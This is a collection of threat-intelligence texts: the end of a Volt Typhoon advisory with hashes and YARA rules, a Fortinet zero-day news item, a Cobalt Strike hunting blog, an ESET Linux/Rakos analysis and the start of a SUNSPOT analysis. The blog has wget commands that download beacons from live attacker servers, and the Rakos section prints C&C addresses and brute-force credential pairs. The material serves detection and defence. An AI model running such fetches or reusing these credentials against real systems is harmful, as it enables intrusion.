- WmiPreSV.exe
- cisco_up.exe
- SMSvcService.exe
- watchdogd.exe
In addition to the file names and paths above, malicious file names, believed to be randomly created, in the following format have also been discovered: C:\Windows\[a-zA-Z]{8}.exe
**SHA-256 file hashes**
- f4dd44bc19c19056794d29151a5b1bb76afd502388622e24c863a8494af147dd
- ef09b8ff86c276e9b475a6ae6b54f08ed77e09e169f7fc0872eb1d427ee27d31
- d6ebde42457fe4b2a927ce53fc36f465f0000da931cfab9b79a36083e914ceca
- 472ccfb865c81704562ea95870f60c08ef00bcd2ca1d7f09352398c05be5d05d
- 66a19f7d2547a8a85cee7a62d0b6114fd31afdee090bd43f36b89470238393d7
- 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71
- 41e5181b9553bbe33d91ee204fe1d2ca321ac123f9147bb475c0ed32f9488597
- c7fee7a3ffaf0732f42d89c4399cbff219459ae04a81fc6eff7050d53bd69b99
- 3a9d8bb85fbcfe92bae79d5ab18e4bca9eaf36cea70086e8d1ab85336c83945f
- fe95a382b4f879830e2666473d662a24b34fccf34b6b3505ee1b62b32adafa15
- ee8df354503a56c62719656fae71b3502acf9f87951c55ffd955feec90a11484
**User-agent**
In some cases, the following user-agent string was identified performing reconnaissance activities by this actor:
```
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0
```
**Yara rules**
```yara
rule ShellJSP {
strings:
$s1 = "decrypt(fpath)"
$s2 = "decrypt(fcontext)"
$s3 = "decrypt(commandEnc)"
$s4 = "upload failed!"
$s5 = "aes.encrypt(allStr)"
$s6 = "newid"
condition:
filesize < 50KB and 4 of them
}
rule EncryptJSP {
strings:
$s1 = "AEScrypt"
$s2 = "AES/CBC/PKCS5Padding"
$s3 = "SecretKeySpec"
$s4 = "FileOutputStream"
$s5 = "getParameter"
$s6 = "new ProcessBuilder"
$s7 = "new BufferedReader"
$s8 = "readLine()"
condition:
filesize < 50KB and 6 of them
}
rule CustomFRPClient {
meta:
description="Identify instances of the actor's custom FRP tool based on unique strings chosen by the actor and included in the tool"
strings:
$s1 = "%!PS-Adobe-" nocase ascii wide
$s2 = "github.com/fatedier/frp/cmd/frpc" nocase ascii wide
$s3 = "github.com/fatedier/frp/cmd/frpc/sub.startService" nocase ascii wide
$s4 = "MAGA2024!!!" nocase ascii wide
$s5 = "HTTP_PROXYHost: %s" nocase ascii wide
condition:
all of them
}
rule HACKTOOL_FRPClient {
meta:
description="Identify instances of FRP tool (Note: This tool is known to be used by multiple actors, so hits would not necessarily imply activity by the specific actor described in this report)"
strings:
$s1 = "%!PS-Adobe-" nocase ascii wide
$s2 = "github.com/fatedier/frp/cmd/frpc" nocase ascii wide
$s3 = "github.com/fatedier/frp/cmd/frpc/sub.startService" nocase ascii wide
$s4 = "HTTP_PROXYHost: %s" nocase ascii wide
condition:
3 of them
}
```
### References
- Active Directory and domain controller hardening: Best practices
- CISA regional cyber threats: PRC state-sponsored activity: China Cyber Threat Overview and Advisories
- Microsoft Threat Intelligence blog: Volt Typhoon activity
- Ntdsutil.exe: Overview
- PowerShell: Best practices
- Windows command line process auditing: Overview
- Windows Defender Firewall: Best practices
- Windows management instrumentation: Events
- Windows password spraying: Logging and playbook configuration
### Acknowledgements
The NSA Cybersecurity Collaboration Center, along with the authoring agencies, acknowledge Amazon Web Services (AWS) Security, Broadcom, Cisco Talos, Google's Threat Analysis Group, Lumen Technologies, Mandiant, Microsoft Threat Intelligence (MSTI), Palo Alto Networks, SecureWorks, SentinelOne, Trellix, and additional industry partners for their collaboration on this advisory.
### Disclaimer of endorsement
The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise does not constitute or imply its endorsement, recommendation, or favoring by the authoring agencies’ governments, and this guidance shall not be used for advertising or product endorsement purposes.
### Trademark recognition
Active Directory®, Microsoft®, PowerShell®, and Windows® are registered trademarks of Microsoft Corporation. MITRE® and ATT&CK® are registered trademarks of The MITRE Corporation.
### Purpose
This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.
### Contact
U.S. organizations: Urgently report any anomalous activity or incidents, including based upon technical information associated with this Cybersecurity Advisory, to CISA at [email protected] or cisa.gov/report or to the FBI via your local FBI field office.
NSA Cybersecurity Report Questions and Feedback: [email protected]
NSA Defense Industrial Base Inquiries and Cybersecurity Services: [email protected]
NSA Media Inquiries / Press Desk: 443-634-0721, [email protected]
Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and to access alerts and advisories.
Canadian organizations: Report incidents by emailing CCCS at [email protected].
New Zealand organizations: Report cyber security incidents to [email protected] or call 04 498 7654.
United Kingdom organizations: Report a significant cyber security incident at ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973. |
# Chinese Hackers Exploited Recent Fortinet Flaw as 0-Day to Drop Malware
A suspected China-nexus threat actor exploited a recently patched vulnerability in Fortinet FortiOS SSL-VPN as a zero-day in attacks targeting a European government entity and a managed service provider (MSP) located in Africa. Telemetry evidence gathered by Google-owned Mandiant indicates that the exploitation occurred as early as October 2022, at least nearly two months before fixes were released.
"This incident continues China's pattern of exploiting internet facing devices, specifically those used for managed security purposes (e.g., firewalls, IPS/IDS appliances etc.)," Mandiant researchers said in a technical report. The attacks entailed the use of a sophisticated backdoor dubbed BOLDMOVE, a Linux variant of which is specifically designed to run on Fortinet's FortiGate firewalls.
The intrusion vector in question relates to the exploitation of CVE-2022-42475, a heap-based buffer overflow vulnerability in FortiOS SSL-VPN that could result in unauthenticated remote code execution via specifically crafted requests.
Earlier this month, Fortinet disclosed that unknown hacking groups have capitalized on the shortcoming to target governments and other large organizations with a generic Linux implant capable of delivering additional payloads and executing commands sent by a remote server. The latest findings from Mandiant indicate that the threat actor managed to abuse the vulnerability as a zero-day to its advantage and breach targeted networks for espionage operations.
"With BOLDMOVE, the attackers not only developed an exploit, but malware that shows an in-depth understanding of systems, services, logging, and undocumented proprietary formats," the threat intelligence firm said. The malware, written in C, is said to have both Windows and Linux flavors, with the latter capable of reading data from a file format that's proprietary to Fortinet. Metadata analysis of the Windows variants of the backdoor shows that they were compiled as far back as 2021, although no samples have been detected in the wild.
BOLDMOVE is designed to carry out a system survey and is capable of receiving commands from a command-and-control (C2) server that in turn allows attackers to perform file operations, spawn a remote shell, and relay traffic via the infected host. An extended Linux sample of the malware comes with extra features to disable and manipulate logging features in an attempt to avoid detection, corroborating Fortinet's report.
"The exploitation of zero-day vulnerabilities in networking devices, followed by the installation of custom implants, is consistent with previous Chinese exploitation of networking devices," Mandiant noted. |
# Analyzing Cobalt Strike for Fun and Profit
20 Dec 2020 · 10 minutes read
I am not sure what happened this year but it seems that Cobalt Strike is now the most used malware around the world, from APT41 to APT32, even the last SolarWinds supply chain attack involved Cobalt Strike. Without relaunching the heated debate on publishing offensive tools, this blog post intends to summarize what an analyst needs to know about Cobalt Strike to quickly identify and analyze it during incidents.
## Finding Cobalt Strike Servers
A few months ago, the Salesforce security team published a new active fingerprint tool called JARM. It is the active equivalent to JA3 they published last year. It generates a fingerprint based on the TLS configuration of a remote server, such as the TLS version or the TLS extensions, without considering the certificate. It is especially useful to identify custom web servers used by some tools, and Cobalt Strike is one of them.
Here is the Cobalt Strike JARM signature:
`07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1`
JARM has already been added to Shodan, BinaryEdge, and SecurityTrails. Shodan recently added indexing on `ssl.jarm`, so it is easy to find Cobalt Strike servers in the wild.
Let’s check Shodan with `ssl.jarm:07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1`:
Shodan has identified 5623 IP with this JARM fingerprint Cobalt Strike servers, mostly on Amazon and Digital Ocean. If we limit to port 443, we get 3423 IPs.
We can easily confirm that Cobalt Strike is still running on port 443 of the first IP using JARM:
```bash
$ python jarm.py 78.152.61.71
Domain: 78.152.61.71
Resolved IP: 78.152.61.71
JARM: 07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1
```
(This JARM signature is actually a signature of the Java Web server and specific to the JAVA 11 stack, so it includes other tools not related to Cobalt Strike (like Burp Suite) and does not include Cobalt Strike using different Java versions. Cobalt Strike recently wrote a blog post about this question.)
## Getting a Cobalt Strike Payload
Cobalt Strike uses a checksum of the URL using an algorithm called checksum8 to serve the 32b or 64b version of the payload (in the same way as the Metasploit server). The decompiled code of Cobalt Strike has been published several times on GitHub or elsewhere, it provides information on this checksum:
```java
public static long checksum8(String text) {
if (text.length() < 4) {
return 0L;
}
text = text.replace("/", "");
long sum = 0L;
for (int x = 0; x < text.length(); x++) {
sum += text.charAt(x);
}
return sum % 256L;
}
public static boolean isStager(String uri) {
return (checksum8(uri) == 92L);
}
public static boolean isStagerX64(String uri) {
return (checksum8(uri) == 93L && uri.matches("/[A-Za-z0-9]{4}"));
}
```
We can easily bruteforce the algorithm to find URLs that match it in Python:
```python
from itertools import product
import string
def checksum8(strr):
j = 0
if len(strr) < 4:
return 0
strr = strr.replace("/", "")
for c in strr:
j += ord(c)
return j % 256
chars = string.ascii_letters + string.digits
to_attempt = product(chars, repeat=4)
for attempt in to_attempt:
word = ''.join(attempt)
r = checksum8(word)
if r == 92:
print("{:30} - 32b checksum".format(word))
elif r == 93:
print("{:30} - 64b checksum".format(word))
```
So `/aaa9` should return the 32 bits beacon (if available) and `/aab9` should return the 64 bits beacon (if available). Let’s test that on one of the Cobalt Strike servers from the Shodan list, `103.39.18.184` (AS136800 - ICIDC NETWORK - China) (one thing to know is that the Cobalt Strike server blocks unusual user agents).
```bash
$ wget --no-check-certificate https://103.39.18.184/aaa9
```
```
--2020-12-19 17:44:32-- https://103.39.18.184/aaa9
Connecting to 103.39.18.184:443... connected.
WARNING: cannot verify 103.39.18.184's certificate, issued by ‘CN=gmail.com,OU=Google Mail,O=Google GMail,L=Mountain View,ST=CA,C=US’:
Self-signed certificate encountered.
WARNING: certificate common name ‘gmail.com’ doesn't match requested host name ‘103.39.18.184’.
HTTP request sent, awaiting response... 404 Not Found
2020-12-19 17:44:33 ERROR 404: Not Found.
```
```bash
$ wget --no-check-certificate --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" https://103.39.18.184/aaa9
```
```
--2020-12-19 17:44:52-- https://103.39.18.184/aaa9
Connecting to 103.39.18.184:443... connected.
WARNING: cannot verify 103.39.18.184's certificate, issued by ‘CN=gmail.com,OU=Google Mail,O=Google GMail,L=Mountain View,ST=CA,C=US’:
Self-signed certificate encountered.
WARNING: certificate common name ‘gmail.com’ doesn't match requested host name ‘103.39.18.184’.
HTTP request sent, awaiting response... 200 OK
Length: 208980 (204K) [application/octet-stream]
Saving to: ‘aaa9’
aaa9 100%[============================>] 204.08K 655KB/s in 0.3s
2020-12-19 17:44:53 (655 KB/s) - ‘aaa9’ saved [208980/208980]
```
```bash
$ wget --no-check-certificate --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" https://103.39.18.184/aab9
```
```
--2020-12-19 17:44:58-- https://103.39.18.184/aab9
Connecting to 103.39.18.184:443... connected.
WARNING: cannot verify 103.39.18.184's certificate, issued by ‘CN=gmail.com,OU=Google Mail,O=Google GMail,L=Mountain View,ST=CA,C=US’:
Self-signed certificate encountered.
WARNING: certificate common name ‘gmail.com’ doesn't match requested host name ‘103.39.18.184’.
HTTP request sent, awaiting response... 200 OK
Length: 260679 (255K) [application/octet-stream]
Saving to: ‘aab9’
aab9 100%[============================>] 254.57K 872KB/s in 0.3s
```
So this IP `103.39.18.184` gives us two Cobalt Strike beacons:
- `742a06efbebca717271b6beda1ff4a22f6f0be6acda9590ab32b38e1d5721140` (aaa9 - 32b)
- `04bf2657dedfc99235220f59d3e7284d9e2ef0a183cd90ee3514137481a27d6c` (aab9 - 64b)
## Decrypting Cobalt Strike Beacons
The files returned by the server are actually not PE files:
```bash
$ file *
aaa9: data
aab9: data
```
During the execution of a Cobalt Strike exploit, it downloads this beacon and runs it directly in memory. So this file is a blob of data containing a shellcode at the beginning that decodes and executes the beacon. We can easily graph this shellcode with miasm.
The first JMP goes to a call right before the encryption key and encrypted beacon. The call goes back to the shellcode and the next POP EDX gets the address of the key. The code in `loc_f` gets the key in EBX, the length of the payload in EAX, and stores the address of the final beacon on the stack. The loop in `loc_1d` goes through the beacon and XORs it with the key.
We can easily reproduce it in Python, the challenge is to find the base address. Here the `loc_47` is the address of the call just before the key, length, and encrypted payload, so the base address is `0x47 + 5` (the length of the call instruction). The base address changes with different payloads but it is possible to find it easily by searching the last call instruction.
```python
import struct
def xor(a, b):
return bytearray([a[0]^b[0], a[1]^b[1], a[2]^b[2], a[3]^b[3]])
with open("aaa9", "rb") as f:
data = f.read()
ba = 0x4c
key = data[ba:ba+4]
print("Key : {}".format(key))
size = struct.unpack("I", xor(key, data[ba+4:ba+8]))[0]
print("Size : {}".format(size))
res = bytearray()
i = ba+8
while i < (len(data) - ba - 8):
d = data[i:i+4]
res += xor(d, key)
key = d
i += 4
with open("a.out", "wb+") as f:
f.write(res)
```
We get a PE file: `3c9a06b2477694919b1c77d3288984cb793a47dd328ef39e15132cd0cfb593ab`. It is surprising to see a PE file directly there because it is directly executed by the last call. The trick is that the PE file is actually modified to be at the same time a valid PE file and executable directly (something Cobalt Strike calls raw stageless payload artifact). We see here the MZ header being executed:
The DOS header is modified to include valid instructions that jump to the address `0x8157` in the binary. This address is the address of the exported `_ReflectiveLoader@4` function, a function based on the ReflectiveDLLInjection software that is in charge of reproducing a simple PE loader to load and map import functions before calling the entry point. (Note that this is only optional in Cobalt Strike, many Cobalt Strike payloads do not have a PE file format but the payload directly in a shellcode-like format).
## Extracting the Configuration
The Cobalt Strike configuration is encrypted within the payload, with a different key depending on the Cobalt Strike version, either `0x2E` or `0x69`. Once decoded, the configuration is stored in the format type-length-value:
- One short that represents the key of the data (the list can be found in the Cobalt Strike source code)
- Two short bytes representing the type of data (Int, Short, String, etc.) and its length
- The data itself
To find the start address of the configuration, we can look for the encoded value of the first key, which is 1 (DNS/SSL), 1 (Short), 2 (2 bytes), which is encoded to `ihihik` with the key `0x69` or `././.` with the key `0x2E`. We can then decode the configuration of the beacon:
```
dns False
ssl True
port 443
.sleeptime 60000
.http-get.server.output
00000004000000010000017700000001000000fa0000000200000004000000020000001c000000020000002400000002000000120000000200000004000000020000
.jitter 15
.maxdns 255
publickey
30819f300d06092a864886f70d010101050003818d0030818902818100aef69a6fb8f21092c01a95cbdcac0f03f79738adecda36cffc6c5cf607943e72663865f8f6
.http-get.uri 156.226.191.234,/_/scs/mail-static/_/js/,djiqowenlsakdj.com,/_/scs/mail-static/_/js/
.user-agent Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MALCJS)
.http-post.uri /mail/u/0/
.http-get.client OSID=Cookie
GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
ui=d3244c4707ient
hop=6928632 start=0
=Content-Type: application/x-www-form-urlencoded;charset=utf-8OSID=Cookie
.spawto
.post-ex.spawnto_x86 %windir%\syswow64\notepad.exe
.post-ex.spawnto_x64 %windir%\sysnative\notepad.exe
.pipename
.cryptoscheme 0
.dns_idle 134743044
.dns_sleep 0
.http-get.verb GET
.http-post.verb POST
shouldChunkPosts 0
.watermark 305419896
.stage.cleanup 0
CFGCaution 0
host_header
cookieBeacon 1
.proxy_type 2
funk 0
killdate 0
text_section 0
process-inject-start-rwx 64
process-inject-use-rwx 64
process-inject-min_alloc 0
process-inject-transform-x86
process-inject-transform-x64
process-inject-stub a56c813864af878a4c10083ca1578e0a
process-inject-execute
process-inject-allocation-method 0
```
## Putting Everything Together
Now that we have decoded everything, it is quite easy to do the request, extract the beacon and the configuration directly. I have put all this in a script available on this GitHub repository:
```bash
$ python scan.py https://103.39.18.184/
```
Checking `https://103.39.18.184/`
Unknown config command 55
Configuration of the x86 payload
```
dns False
ssl True
port 443
.sleeptime 60000
.http-get.server.output
00000004000000010000017700000001000000fa0000000200000004000000020000001c000000020000002400000002000000120000000200000004000000020000
.jitter 15
.maxdns 255
```
x86_64: Payload not found
It is common to find the same configuration for many different samples because CS uses what they call Malleable C2 Profiles which are actually configurations for the CS beacons that can be shared easily through configuration files. For instance, Ocean Lotus uses a public profile mimicking Google Safebrowsing URLs. This repository lists profiles used by different APT or cybercrime groups.
One interesting value in the configuration is the watermark, which is a number generated from the license file. As it is unique to a customer, it can be used to pivot and link multiple Cobalt Strike instances together (as it was done for Trickbot). As such, many cracked versions of Cobalt Strike disable this watermark. This watermark is technically associated with the Cobalt Strike Customer ID, so it should be possible to report this ID to Cobalt Strike and identify the customer for people using paid licenses, but I have never heard anyone doing that (I guess few APT groups have a valid CS license).
## Extracting Configuration of 1000 Cobalt Strike Servers
Based on the same code, I have scanned the 3424 servers identified with JARM in Shodan. I have scanned them all using this script and found 520 serving Cobalt Strike beacons. I have uploaded on GitHub a CSV listing the IPs and configuration of these beacons, here is a short extract:
```
Host GET URI
54.66.253.144 54.66.253.144,/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books
103.243.183.250 103.243.183.250,/search.js
185.82.126.47 185.82.126.47,/pixel
94.156.174.121 94.156.174.121,/watch
194.36.191.118 194.36.191.118,/visit.js
23.106.160.198 repshd.com,/us/ky/louisville/312-s-fourth-st.html,pinglis.com,/us/ky/louisville/312-s-fourth-st.html,stargut.com,/us/ky/louisville/312-s-fourth-st.html
23.81.246.46 contmetric.com,/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books
108.174.193.11 qw.removerchangefile.monster,/media.html,as.removerchangefile.monster,/media.html,zx.removerchangefile
213.217.0.218 213.217.0.218,/visit.js
213.252.247.31 1nubjgrcfjhjhkjftdd.com,/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books
```
165 of them over 523 have no watermark, another watermark (305419896) is used by 160 IPs, so it is likely a default value. Then a few watermarks have more than 5 servers, such as 1580103814, 1873433027 or 16777216.
## That’s All Folks
I have uploaded all these scripts and YARA rules for beacons on GitHub, feel free to DM me on Twitter or send me an email if you have any questions.
Here are some other interesting resources on Cobalt Strike:
This blog post was mostly written while listening to Susumu Yokota.
Edit 1: adding link to Cobalt Strike JARM analysis (thanks @AZobec) |
# New Linux/Rakos Threat: Devices and Servers Under SSH Scan (Again)
ESET’s Peter Kálnai and Michal Malik report on a new Linux/Rakos threat – devices and servers are under SSH scan again. Apparently, frustrated users complain more often recently on various forums about their embedded devices being overloaded with computing and network tasks. What these particular posts have in common is the name of the process causing the problem. It is executed from a temporary directory and disguised as a part of the Java framework, namely “.javaxxx”. Additional names like “.swap” or “kworker” are also used. A few weeks ago, we discussed the recent Mirai incidents and Mirai-connected IoT security problems in *The Hive Mind: When IoT Devices Go Rogue* and all that was written then still holds true.
## Attack Vector
The attack is performed via brute force attempts at SSH logins, in a similar way to that in which many Linux worms operate, including Linux/Moose (which spread by attacking Telnet logins). The targets include both embedded devices and servers with an open SSH port and where a very weak password has been set. The obvious aim of this trojan is to assemble a list of unsecured devices and to have an opportunity to create a botnet consisting of as many zombies as possible. The scan starts with a not too extensive list of IPs and spreads incrementally to more targets. Only machines that represent low-hanging fruit from the security perspective are compromised. Note that victims reported cases when they had a strong password but forgot their device that had online service enabled and it was reverted to a default password after a factory reset. Just a couple of hours of online exposure was enough for such a reset machine to end up compromised!
## Analysis
The malware is written in the Go language and the binary is usually compressed with the standard UPX tool. The awkward thing was that the function names were stripped from the binary in the usual way, but they are still present in a special section anyway. With the help of a script by RedNaga Security that maps symbols back to their respective function in the IDA Pro disassembling software, the whole analysis was simplified to reviewing the features that function names suggested, like `main_loadConfig`, `main_startLocalHttp`, `main_Skaro_Upgrade`, `main_IPTarget_checkSSH`, etc. There are strings like “Skaro” and “dalek” in the binary. The author(s) possibly had in mind a connection to a fictional planet in the science fiction television series *Doctor Who* from whence the Daleks originated.
As a first step, Linux/Rakos loads its configuration via standard input (stdin) in YAML format. The configuration file contains information like lists of C&Cs, all the credentials that are tried against its targets, and internal parameters:
```
version: 30
logging: no
generation: 0
skaro:
ips:
- "193.0.178.151"
- "46.8.44.55"
- "5.34.183.231"
- "185.82.216.125"
- "195.123.210.100"
ping: 60
checkers:
- "http://193.0.178.151"
- "http://46.8.44.55"
- "http://5.34.183.231"
- "http://185.82.216.125"
- "http://195.123.210.100"
userpass: [
"root:qwerty",
"user:admin",
"bob:bob",
"ubnt:ubnt",
"root:12345",
"admin:admin1234"
]
```
Following this, it starts a local HTTP service available at `http://127.0.0.1:61314`. There are two reasons why this is installed: the first is as a cunning method for the future versions of the bot to kill the running instances regardless of their name by requesting `http://127.0.0.1:61314/et`; second, it tries to parse a URL query for parameters “ip”, “u”, “p” by requesting `http://127.0.0.1:61314/ex`. The purpose of this `/ex` HTTP resource is still unclear at the time of writing and it seems not to be referenced elsewhere in the code.
The bot also creates a web server listening on all interfaces. In the early versions, it was listening on TCP port 13666, but now the port is picked randomly from 20,000 to 60,000. Sending a remote request to the device on this port returns the response:
```
{"origin":"192.168.18.1"}
```
This output is in the same format as the public test server `http://httpbin.org` with `/ip` request. On the side running Linux/Rakos, one might see the following logged to stdout:
```
{2016/11/21 09:02:03 INFO StartChecker.func1 ▶ 001 check: 192.168.18.1}
```
Next, it sends an initial HTTP request containing important information about the victim device to `https://{C&C}/ping`. The data sent may appear as follows (some fields have been edited):
```
{
"arch": "amd64",
"config": 30,
"fork": 0,
"generation": 0,
"ip": "192.168.18.1",
"origin": "unknown",
"password": "shipping",
"services": {
"http": {"addr":"192.168.18.1:80","available":false,"running":false},
"dns": {"addr":"","available":false,"running":false},
"checker": {"addr":"192.168.18.1:22418","available":false,"running":true}
},
"stats": {
"cnt": "load: 0 scan: 0 bless: 0 sm:0 ins: 0 mem: 2692k",
"cpu": "1 x Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz 3591Mhz",
"facts": "host: ubuntu pid: 10219 uid: 0 args: [/tmp/.javaxxx]",
"load": "1.14 0.45 0.17",
"mem": "592MB / 1983MB free (35.21% used)"
},
"uptime": 514,
"username": "shipping",
"uuid": "ab-97-b1-d5-2d-8f",
"version": 706
}
```
The main feature of this bot is its scanning of the SSH service on various IP addresses, which are obtained from the C&C server by asking for the list located at `https://{C&C}/scan`. This list seems to be modified frequently. The previous versions of the trojan also scanned for the SMTP service, but the attackers have disabled this feature in the current build. We speculate that this feature might be under further development together with additional network scanning features.
The main attack is performed as follows: if one of the username:password pairs from the configuration file results in a successful login to one of the target devices, connection to the target is successful, two commands are run on that newly-accessed victim (`id`, `uname -m`), and other checks are performed and their results reported. Finally, the binary checks whether it is possible to upload to the new victim and does so if the answer is affirmative. We simulated an attack locally with two targets picked, 127.0.0.1 and 127.0.0.100 (originally, the attackers try 200 simultaneous targets every 10 seconds). Suppose the bot fails to connect to the first one which it then marks as FORGET, while the latter one is successful with the INSTALL notice (an SSH connection was established with the correct `shipping:shipping` login credentials; also note that the uploaded executable is deleted immediately after execution).
Moreover, the backdoor is capable of:
- updating the configuration file (from `https://{C&C}/upgrade/vars.yaml`)
- upgrading itself
No unequivocally malicious activities that might be expected, like DDoS attacks or spam spreading (yet!), are implemented. However, sending back the IP address, username, and password allows the attackers to do anything they want with the machine afterwards. Together with the foul language used in the code, we think it is unlikely that this is just an invasive but innocent experiment or an unfortunate exercise in academic research.
There are reports online about the compromises. For example, one from August 23rd, 2016, may be found on Pastebin. The table below contains the output of running `lsof –n` on the guilty process. Note that the IP address ranges tried by SSH attempts seem random:
```
CMD PID USER FD TYPE SIZE/OFF NODE NAME
.javaxxx 2773 root txt REG 5822568 /tmp/.javaxxx (deleted)
.javaxxx 2773 root 5u IPv6 0t0 TCP *:13666 (LISTEN)
.javaxxx 2773 root 6u IPv4 0t0 TCP 127.0.0.1:61314 (LISTEN)
.javaxxx 2773 root 7u IPv4 0t0 TCP 192.168.88.210:59958->66.209.103.211:ssh (ESTABLISHED)
.javaxxx 2773 root 10u IPv4 0t0 TCP 192.168.88.210:57370->139.196.21.134:ssh (ESTABLISHED)
.javaxxx 2773 root 13u IPv4 0t0 TCP 192.168.88.210:52507->148.75.167.198:ssh (SYN_SENT)
.javaxxx 2773 root 16u IPv4 0t0 TCP 192.168.88.210:54746->208.9.162.70:ssh (SYN_SENT)
.javaxxx 2773 root 17u IPv4 0t0 TCP 192.168.88.210:54533->148.75.167.191:ssh (SYN_SENT)
.javaxxx 2773 root 18u IPv4 0t0 TCP 192.168.88.210:51856->139.196.20.79:ssh (ESTABLISHED)
.javaxxx 2773 root 19u IPv4 0t0 TCP 192.168.88.210:57210->208.9.162.95:ssh (SYN_SENT)
.javaxxx 2773 root 24u IPv4 0t0 TCP 192.168.88.210:45946->148.75.167.99:ssh (SYN_SENT)
.javaxxx 2773 root 25u IPv4 0t0 TCP 192.168.88.210:55928->208.9.162.25:ssh (SYN_SENT)
.javaxxx 2773 root 27u IPv4 0t0 TCP 192.168.88.210:50041->139.196.21.177:ssh (ESTABLISHED)
```
## Mitigation and Cleanup
The trojan isn’t able to maintain persistence after the system is rebooted. Instead, available devices may be compromised repeatedly. The steps needed to clean up after a compromise are as follows:
- connect to your device using SSH/Telnet,
- look for a process named `.javaxxx`,
- run commands like `netstat` or `lsof` with `-n` switch to confirm that it is responsible for unwanted connections,
- (voluntarily) collect forensic evidence by dumping the memory space of the corresponding process (with `gcore` for example),
- one could also recover the deleted sample from `/proc` with `cp /proc/{pid}/exe {output_file}`,
- kill the process with the `-KILL` option.
Needless to say that victims have to secure their SSH credentials and have to do that after every factory reset. We also prepared a plugin for Volatility Framework called `vf_ioc_linux_rakos_a.py` that would detect indicators of compromise if a whole memory dump supported by this framework is acquired. Moreover, it extracts from the malicious process space data such as configuration or information sent to the C&C.
## Conclusion
We have presented here another example of a Linux backdoor spreading through a well-known channel. It seems worthwhile for attackers to write new pieces of malicious software to misuse loopholes in the current state of network security. Our advice is this: Don’t build walls around your devices from sticks and straws, but from bricks and stones. The internet is a windy place.
### IoCs
**Samples**
The malware binary is removed after successful execution therefore there are not many samples collected.
```
SHA1 First seen Arch Size Version
f80836349d6e97251030190ecd30dda0047f1ee6 2016-08-17 EM_X86_64 7 360 928 B 688
def04ec688ac6b41580dd3a6e78445b56536ba34 2016-09-27 EM_X86_64 1 606 936 B 694
3435ca5505ce8dfe8e1b22e0ebd4f41c60050cc0 2016-09-27 EM_X86_64 1 613 292 B 695
e53c73fe6a552eab720e7ee685ea4e159ebd4fdd 2016-09-27 EM_X86_64 1 613 292 B 697
c93bddd9cdb4f2e185b54a4931257954e25e7c37 2016-09-28 EM_X86_64 1 614 436 B 698
14af6254d9ca310b4d52778d050cb8dd7a5de1d8 2016-10-21 EM_MIPS 4 095 740 B ???
c54d50025d9f66ce2ace3361a8626aee468d94ba 2016-11-09 EM_386 1 697 592 B 700
36b2fffe98f517355425797fc242f2cb82271c0c 2016-11-21 EM_386 1 875 844 B 706
E46E8E5E823EB0466981AFB7683FD918D6FE78A9 2016-12-16 EM_386 1 876 888 B 708
0492E5C07C1426AF9CE73AD33E00A3FD8477C6C2 2016-12-16 EM_386 5 688 388 B 711
```
**C&C Servers**
```
217.12.208.28
217.12.203.31
193.169.245.68
46.8.44.55
195.123.210.100
5.34.183.231
5.34.180.64
185.82.216.125
185.14.30.78
185.14.29.65
185.20.184.117
``` |
# SUNSPOT: An Implant in the Build Process
In December 2020, the industry was rocked by the disclosure of a complex supply chain attack against SolarWinds, Inc., a leading provider of network performance monitoring tools used by organizations of all sizes across the globe. CrowdStrike and another firm have been supporting SolarWinds in its investigation and root cause analysis of the events that led to the inclusion of unauthorized malicious code into its build cycle. In coordination with SolarWinds, which has posted a blog detailing its efforts to ensure the security of its customers and build processes, CrowdStrike is providing a technical analysis of a malicious tool that was deployed into the build environment to inject this backdoor into the SolarWinds Orion platform without arousing the suspicion of the development team charged with delivering the product. At this time, CrowdStrike does not attribute the SUNSPOT implant, SUNBURST backdoor or TEARDROP post-exploitation tool to any known adversary; as such, CrowdStrike Intelligence is tracking this intrusion under the StellarParticle activity cluster.
## Key Points
- SUNSPOT is StellarParticle’s malware used to insert the SUNBURST backdoor into software builds of the SolarWinds Orion IT management product.
- SUNSPOT monitors running processes for those involved in compilation of the Orion product and replaces one of the source files to include the SUNBURST backdoor code.
- Several safeguards were added to SUNSPOT to avoid the Orion builds from failing, potentially alerting developers to the adversary’s presence.
Analysis of a SolarWinds software build server provided insights into how the process was hijacked by StellarParticle in order to insert SUNSPOT into the update packages. The design of SUNSPOT suggests StellarParticle developers invested a lot of effort to ensure the code was properly inserted and remained undetected, and prioritized operational security to avoid revealing their presence in the build environment to SolarWinds developers.
## Technical Analysis
SUNSPOT was identified on disk with a filename of `taskhostsvc.exe` (SHA256 Hash: `c45c9bda8db1d470f1fd0dcc346dc449839eb5ce9a948c70369230af0b3ef168`), and internally named `taskhostw.exe` by its developers. It was likely built on 2020-02-20 11:40:02, according to the build timestamp found in the binary, which is consistent with the currently assessed StellarParticle supply chain attack timeline. StellarParticle operators maintained the persistence of SUNSPOT by creating a scheduled task set to execute when the host boots.
### Initialization and Logging
